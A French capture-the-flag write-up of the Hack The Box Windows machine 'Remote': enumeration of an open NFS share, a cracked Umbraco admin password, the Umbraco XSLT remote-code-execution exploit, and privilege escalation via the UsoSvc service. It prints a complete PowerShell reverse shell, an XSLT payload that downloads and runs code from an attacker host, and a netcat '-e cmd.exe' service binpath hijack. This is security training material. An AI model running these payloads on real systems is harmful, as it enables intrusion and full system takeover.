Hack The Box - Remote

Remote est une machine Windows considérée comme facile. Un partage NFS ouvert permet de récupérer les sources du site web en place et de récupérer le mot de passe administrateur. L’accès utilisateur est récupéré au travers d’une exécution de commande à distance sur le CMS “Umbraco”. L’escalade de privilège exploite quand à elle le service “UsoSvc” afin de récupérer un accès administrateur.

Disclaimer : Il s’agit d’une présentation plutôt rapide qui omet volontairement les différents axes de recherche. Seul les résultats effectifs ainsi qu’une rapide démarche sont présentés.

Découverte / Énumération

Un rapide scan de ports permet d’obtenir les services présents sur la machine.

Nmap scan report for 10.10.10.180
Host is up (0.073s latency).
Not shown: 9992 closed ports
PORT      STATE SERVICE           VERSION
21/tcp    open  ftp               Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind           2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3         2049/udp  nfs
|   100003  2,3,4       2049/tcp  nfs
|   100005  1,2,3       2049/tcp  mountd
|   100005  1,2,3       2049/udp  mountd
|   100021  1,2,3,4     2049/tcp  nlockmgr
|   100021  1,2,3,4     2049/udp  nlockmgr
|   100024  1           2049/tcp  status
|_  100024  1           2049/udp  status
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd            1-3 (RPC #100005)
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
10000/tcp open  snet-sensor-mgmt?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=3/22%OT=21%CT=1%CU=30779%PV=Y%DS=2%DC=I%G=Y%TM=5E7771A
OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=103%TI=RD%CI=RD%II=I%TS=U)S
OS:EQ(SP=100%GCD=1%ISR=103%TI=I%CI=RD%TS=U)OPS(O1=M54DNW8NNS%O2=M54DNW8NNS%
OS:O3=M54DNW8%O4=M54DNW8NNS%O5=M54DNW8NNS%O6=M54DNNS)WIN(W1=FFFF%W2=FFFF%W3
OS:=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M54DNW8NNS%CC=Y
OS:%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%
OS:F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y
OS:%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPC
OS:K=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=256 (Good luck!)
IP ID Sequence Generation: Randomized
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 2m13s, deviation: 0s, median: 2m13s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-03-22 15:09:47
|_  start_date: N/A

NSE: Script Post-scanning.
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed
Initiating NSE at 15:09
Completed NSE at 15:09, 0.00s elapsed

Partages NFS et code source

Première piste de recherche, le service ouvert derrière le port 2049. N’ayant jusqu’à maintenant jamais eu à faire à ce type de services, quelques recherches se sont imposées. Il s’avère que ce port fait référence aux partages réseaux NFS. Il est également possible de monter ces partages depuis une machine Linux afin d’y accéder. Pour information, depuis une machine Debian, il est nécessaire d’installer le package nfs-common. Le montage se fait simplement avec la commande mount. N’ayant eu aucune information au sujet du chemin, on tente de monter la racine du partage.

$ sudo mount -t nfs 10.10.10.180:/ TMPMOUNT

Ca passe ! Parfait, on se retrouve donc avec un répertoire site_backup contennant les sources de ce qui semble être un site web. Probablement le site qui tourne sur le port 80 découvert auparavant ! De plus, les sources nous indiquent qu’il s’agit du CMS Umbraco.

$ cd TMPMOUNT 

$ ls
site_backups

$ cd site_backups 
$ ls
App_Browsers  App_Data  App_Plugins  aspnet_client  bin  Config  css  default.aspx  Global.asax  Media  scripts  Umbraco  Umbraco_Client  Views  Web.config

À des fins de simplicité et facilité d’utilisation, il est conseillé de copier le contenu du partage en local, afin d’être plus tranquille pour l’analyse. Une fois cela fait, on peut commencer à chercher des informations. Disposant, des sources du site, on cherche notamment des fichiers de configuration ou des fichiers pouvant contenir des mots de passe. Quelques recherches rapides nous apprennent que les informations des comptes utilisateurs, sous Umbraco, sont stockées dans le fichier Umbraco.sdf. On identifie rapidement ce dernier dans le répertoire App_Data.

$ pwd
xx/SITE_BACKUP/App_Data

$ ls
cache  Logs  Models  packages  TEMP  umbraco.config  Umbraco.sdf

$ file Umbraco.sdf 
Umbraco.sdf: data

Le format de fichier n’étant pas directement reconnu (à priori, il s’agit d’une sorte de base de données.) on va simplement utiliser la méthode “Quick & Dirty” afin de chercher de l’information, j’ai nommé strings ! :D

Ceci dit.. Cette méthode fonctionne plutôt bien, puisqu’on identifie rapidement, en début de fichier, les éléments qui nous intéressent !

$ strings Umbraco.sdf

Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv
qpkaj
dAc0^A\pW
(1&a$
"q!Q
[...]

Plusieurs comptes, dont le compte administrateur admin@htb.local ainsi qu’un hash, à priori du mot de passe, au format SHA-1. Cet algorithme est plutôt connu et déconseillé aujourd’hui de par son manque de robustesse. Plusieurs services en ligne proposent notamment de tenter la récupération d’un mot de passe à partir d’un hash, en comparant ce dernier à d’énormes bases de données. S’il s’agit d’un mot de passe faible, les chances de réussite sont fortes !

C’est ainsi qu’on récupère un joli mot de passe :)

admin@htb.local
baconandcheese

Remote Code Execution et shell utilisateur

Nous sommes maintenant en mesure de travailler sur le site web de la machine. Une passe rapide sur les différentes pages ne révèle rien d’intéressant. Cependant, disposant des identifiants administrateurs, on file se connecter à l’interface (http://10.10.10.180/umbraco).

Pour la suite, ne connaissant pas le CMS, je suis allé voir existait des vulnérabilités connues et il s’avère qu’un exploit pour une exécution de commandes à distance a été publié l’an dernier, en 2019 (https://www.exploit-db.com/exploits/46153).

Le seul prérequis, que nous remplissons, est de disposer d’un accès administrateur à l’application.

Le PoC présenté dans l’exploit ouvre une calculatrice sur la machine ciblée. Cependant, dans notre cas, un reverse shell serait plus approprié ;).

Deux variables sont ainsi utilisées : - proc.StartInfo.Filename pour le nom du binaire à exécuter ; - “cmd” afin de spécifier d’éventuels arguments.

Deux façon de faire. On pourrait par exemple déposer un netcat sur la machine puis l’exécuter afin de récupérer un shell, mais il également possible de passer par Powershell. C’est cette dernière solution que j’ai choisi d’utiliser.

On commence donc par récupérer un reverse shell Powershell. Pour ma part, j’ai utilisé celui ci. Il s’agit d’un code plutôt simple et classique, que l’on peut retrouver partout sur Internet. Les seuls éléments à adapter sont l’adresse IP et le port.

$socket = new-object System.Net.Sockets.TcpClient('10.10.14.5', 5577);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
  $writer.Flush();
  $read = $null;
  $res = ""
  while($stream.DataAvailable -or $read -eq $null) {
    $read = $stream.Read($buffer, 0, 1024)
  }
  $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
  if(!$out.equals("exit")){
    $args = "";
    if($out.IndexOf(' ') -gt -1){
      $args = $out.substring($out.IndexOf(' ')+1);
      $out = $out.substring(0,$out.IndexOf(' '));
      if($args.split(' ').length -gt 1){
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                } else {
                    $res = $stdout
                }
      }
      else{
        $res = (&"$out" "$args") | out-string;
      }
    }
    else{
      $res = (&"$out") | out-string;
    }
    if($res -ne $null){
        $writer.WriteLine($res)
    }
  }
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()

Afin de pouvoir télécharger ce script depuis la cible, on va l’héberger sur un serveur web temporaire. le module http.server de Python répond parfaitement à ce besoin.

$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Par la suite, on prépare notre payload afin d’aller chercher le fichier ps1 et de l’exécuter directement en mémoire. Bien entendu, il est également nécessaire de renseigner les identifiants du compte de l’application.

payload = '<?xml version="1.0"?><xsl:stylesheet version="1.0" \
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" \
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">\
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() \
{ string cmd = "IEX (New-Object Net.WebClient).DownloadString(\'http://10.10.14.5:8000/minireverse.ps1\')"; System.Diagnostics.Process proc = new System.Diagnostics.Process();\
 proc.StartInfo.FileName = "powershell.exe"; proc.StartInfo.Arguments = cmd;\
 proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; \
 proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } \
 </msxsl:script><xsl:template match="/"> <xsl:value-of select="csharp_user:xml()"/>\
 </xsl:template> </xsl:stylesheet> ';

login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";

Une fois la totalité des éléments en place, on lance un netcat en écoute sur notre machine, puis on lance le script python d’exploitation. Si tout fonctionne correctement, vous dévriez voir une requête GET passer dans les logs du serveur web.

# Shell 1
$ python3 46153.py      
Start
[]

# Shell 2
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.180 - - [30/Mar/2020 13:42:05] "GET /minireverse.ps1 HTTP/1.1" 200 -

# Shell 3
$ nc -lvvp 5577
listening on [any] 5577 ...
10.10.10.180: inverse host lookup failed: Unknown host
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.180] 49902

b00m ! Un joli shell utilisateur :). Après énumération des utilisateur, la machine ne disposant pas d’utilisateurs particuliers, le premier flag peut être récupéré dans le répertoire C:\Users\Public.

Reconnaissance et prise d’information

Comme toute compromission qui se respecte, l’étape suivante est la collecte d’informations au sujet de la machine afin d’identifier de potentielles faiblesses ! J’ai profité de travailler sur cette machine pour tester un outil dont j’avais déjà entendu parlé mais que je n’avais jamais utilisé, j’ai nommé winPEAS (https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS). Il s’agit d’un binaire permettant d’automatiser les tâches classiques d’énumération à des fins d’escalade de privilège.

Spoiler : il s’avère que cet outil est génial.

De la même façon donc que pour le précédent reverse shell, nous allons utiliser un serveur web Python afin d’accéder au binaire. Depuis notre reverse shell, nous sommes en mesure de télécharger directement le fichier, puis de l’exécuter. On peut par exemple utiliser directement un wgetdepuis l’interpréteur Powershell.

Cependant, petite astuce, afin de pouvoir exécuter le wget, il est nécessaire de lancer ce dernier en argument d’un autre processus powershell, comme ceci.

powershell.exe wget http://10.10.14.7:8000/winPEAS.exe -OutFile "C:\tmp\winpeas.exe"

Une fois cela fait, la collecte peut commencer ! La sortie ci-dessous est volontairement réduite afin de ne garder que les éléments potentiellement intéressants.

.\winpeas.exe

[...]
[+] Basic System Information(T1082&T1124&T1012&T1497&T1212)
  [?] Check if the Windows versions is vulnerable to some known exploit https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
   Hostname: remote
   ProductName: Windows Server 2019 Standard
   EditionID: ServerStandard
   ReleaseId: 1809
   BuildBranch: rs5_release
   CurrentMajorVersionNumber: 10
   CurrentVersion: 6.3
   Architecture: AMD64
   ProcessorCount: 4
   SystemLang: en-US
   KeyboardLang: English (United States)
   TimeZone: (UTC-05:00) Eastern Time (US & Canada)
   IsVirtualMachine: True
   Current Time: 3/22/2020 12:35:20 PM
   HighIntegrity: False
   PartOfDomain: False
   Hotfixes: KB4534119, KB4462930, KB4516115, KB4523204, KB4464455,

 [?] Windows vulns search powered by Watson(https://github.com/rasta-mouse/Watson)
   OS Build Number: 17763
      [!] CVE-2019-0836 : VULNERABLE
       [>] https://exploit-db.com/exploits/46718
       [>] https://decoder.cloud/2019/04/29/combinig-luafv-postluafvpostreadwrite-race-condition-pe-with-diaghub-collector-exploit-from-standard-user-to-system/
      [!] CVE-2019-0841 : VULNERABLE
       [>] https://github.com/rogue-kdc/CVE-2019-0841
       [>] https://rastamousee/tags/cve-2019-0841/
      [!] CVE-2019-1064 : VULNERABLE
       [>] https://www.rythmstick.net/posts/cve-2019-1064/
      [!] CVE-2019-1130 : VULNERABLE
       [>] https://github.com/S3cur3Th1sSh1t/SharpByeBear
      [!] CVE-2019-1253 : VULNERABLE
       [>] https://github.com/padovah4ck/CVE-2019-1253
      [!] CVE-2019-1315 : VULNERABLE
       [>] https://offsec.almond.consulting/windows-error-reporting-arbitrary-file-move-eop.html
      [!] CVE-2019-1385 : VULNERABLE
       [>] https://www.youtube.com/watch?v=K6gHnr-VkAg
      [!] CVE-2019-1388 : VULNERABLE
       [>] https://github.com/jas502n/CVE-2019-1388
      [!] CVE-2019-1405 : VULNERABLE
       [>] https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/november/cve-2019-1405-and-cve-2019-1322-elevation-to-system-via-the-upnp-device-host-service-and-the-update-orchestrator-service/
[...]

[+] Looking for AutoLogon credentials(T1012)
   Some AutoLogon credentials were found!!
   DefaultUserName               :  Administrator
[...]

[+] Modifiable Services(T1007)
 [?] Check if you can modify any service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
  LOOKS LIKE YOU CAN MODIFY SOME SERVICE/s:
  UsoSvc: AllAccess, Start

[+] Looking if you can modify any service registry()
 [?] Check if you can modify the registry of a service https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions
  [-] Looks like you cannot change the registry of any service...

[+] Checking write permissions in PATH folders (DLL Hijacking)()
 [?] Check for DLL Hijacking in PATH folders https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking
   C:\Windows\system32
   C:\Windows
   C:\Windows\System32\Wbem
   C:\Windows\System32\WindowsPowerShell\v1.0\
   C:\Windows\System32\OpenSSH\
[...]

Escalade de privilège et flag administrateur

Bien que souvent, des étapes supplémentaires soient nécessaires, pour cette machine, la phase d’énumération précédente donne toutes les clés afin de monter en privilège. En effet, il semble que la machine soit sensible à différentes vulnérabilités kernel. Cependant, ce n’est pas dans cette direction que nous allons nous tourner. Il semble en effet également que nous ayons les droits nécessaires pour interagir avec le service UsoSvc. Quelques recherches Internet nous amènent rapidement à la CVE-2019-1322, traitant justement du service Update Orchestrator.

L’idée principale derrière cela est de pouvoir modifier la configuration du service afin de le diriger vers un binaire potentiellement malveillant. Suite à cela, si nous sommes en capacité de redémarrer le service, le binaire configuré sera ainsi exécuté au lancement de ce dernier. Là où ça devient intéressant, c’est que notre binaire serait exécuté avec les droits SYSTEM ;)

On commence donc par s’informer sur l’état du service.

sc query usosvc

SERVICE_NAME: usosvc 
        TYPE               : 30  WIN32  
        STATE              : 4  RUNNING 
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Puis on tente de le stopper et on regarde à nouveau son état.

sc stop usosvc

SERVICE_NAME: usosvc 
        TYPE               : 30  WIN32  
        STATE              : 3  STOP_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x3
        WAIT_HINT          : 0x7530

sc query usosvc

SERVICE_NAME: usosvc 
        TYPE               : 20  WIN32_SHARE_PROCESS  
        STATE              : 1  STOPPED 
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Parfait ! Maintenant, place à la mise à jour ! L’idée ici est de faire en sorte que le service exécute un revershe shell vers notre machine afin de récupérer un accès privilégié. Ainsi, de la même façon que pour le binaire winPEAS précédemment, on dépose un netcat sur la machine.

Par la suite, on modifie la configuration du service afin que ce dernier exécute notre netcat à son démarrage.

sc.exe config UsoSvc binpath="C:\tmp\nc64.exe 10.10.14.5 7788 -e cmd.exe" 
[SC] ChangeServiceConfig SUCCESS

Du côté de la machine attaquante, on ouvre également un netcat en écoute puis on redémarre le service depuis la cible.

# Target
sc start usosvc

# Attacker
$ nc -lvvp 7788
listening on [any] 7788 ...
10.10.10.180: inverse host lookup failed: Unknown host
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.180] 49787
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

w00ted !

Hack The Box - Sauna